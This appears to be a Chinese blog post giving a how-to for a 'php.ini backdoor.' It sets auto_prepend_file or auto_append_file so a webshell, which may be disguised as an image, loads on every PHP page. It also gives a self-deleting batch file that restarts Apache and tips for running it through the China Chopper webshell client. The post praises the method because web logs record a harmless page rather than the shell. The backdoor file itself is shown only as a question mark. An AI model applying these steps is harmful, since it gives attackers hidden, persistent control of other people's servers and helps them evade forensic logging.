php.ini另类后门

php.ini文件:
auto_prepend_file="c:/phpstudy/www/shell.php"      #也可以是 gif、jpg文件等
或auto_append_file=shell1.php
include_path="c:\phpstudy\www;."       
(include_path = ";."   也可以和上面一样的效果)
(include_path = "c:\;."   也可以和上面一样的效果)
(include_path = "d:\;."   也可以和上面一样的效果)
(include_path = ".;c:\php\includes"   也可以和上面一样的效果)
(include_path = ";c:\"   也可以和上面一样的效果)
(;include_path = ".;c:\php\includes"   也可以和上面一样的效果)
这说明php.ini另类后门与这个include_path可以无关
cmd 重启apache服务,我的是phpstudy,所以是apache2a服务
net stop apache2a && net start apache2a
也可以编辑1.bat:
net stop apache2a && net start apache2a && del %~dp01.bat
# %~dp0 表示 '\当前路径\'               %~dp01.bat  表示  \当前路径\1.bat
c:\1.bat   回车(假如1.bat 在c:\ 下)
在菜刀下,权限够的情况下:等一会儿,出现Run command [1.bat] failed!
但实际上已经成功,你  dir  c:\
发现c:\1.bat 没了
也可以这样编辑1.bat,效果一样:
net stop apache2a 
net start apache2a
del %~dp01.bat
附后门文件内容:?

注意:一定等出现Run command [1.bat] failed!,再关闭菜刀cmd窗口

利用php.ini的另类后门

下面这句不知对不对:
include_path = “.;c:\php\includes” 前面的 “.”代表/目录,而”;”后面的目录代表Automatically add files(自动添加)所有include文件的目录

这种方法尤其值得推崇的地方是:服务器web日志中记录的连接文件是你菜刀url中的文件地址,而不是你真正的shell 一句话地址(假如你菜刀url中链接的文件是在网站中随意的有效文件,而非一句话shell文件)

因为auto_prepend_file 会在所有的php顶部加载文件
而auto_append_file 会在所有页面底部加载文件,相当于 require shell 一句话文件

你可能感兴趣的:(php.ini另类后门)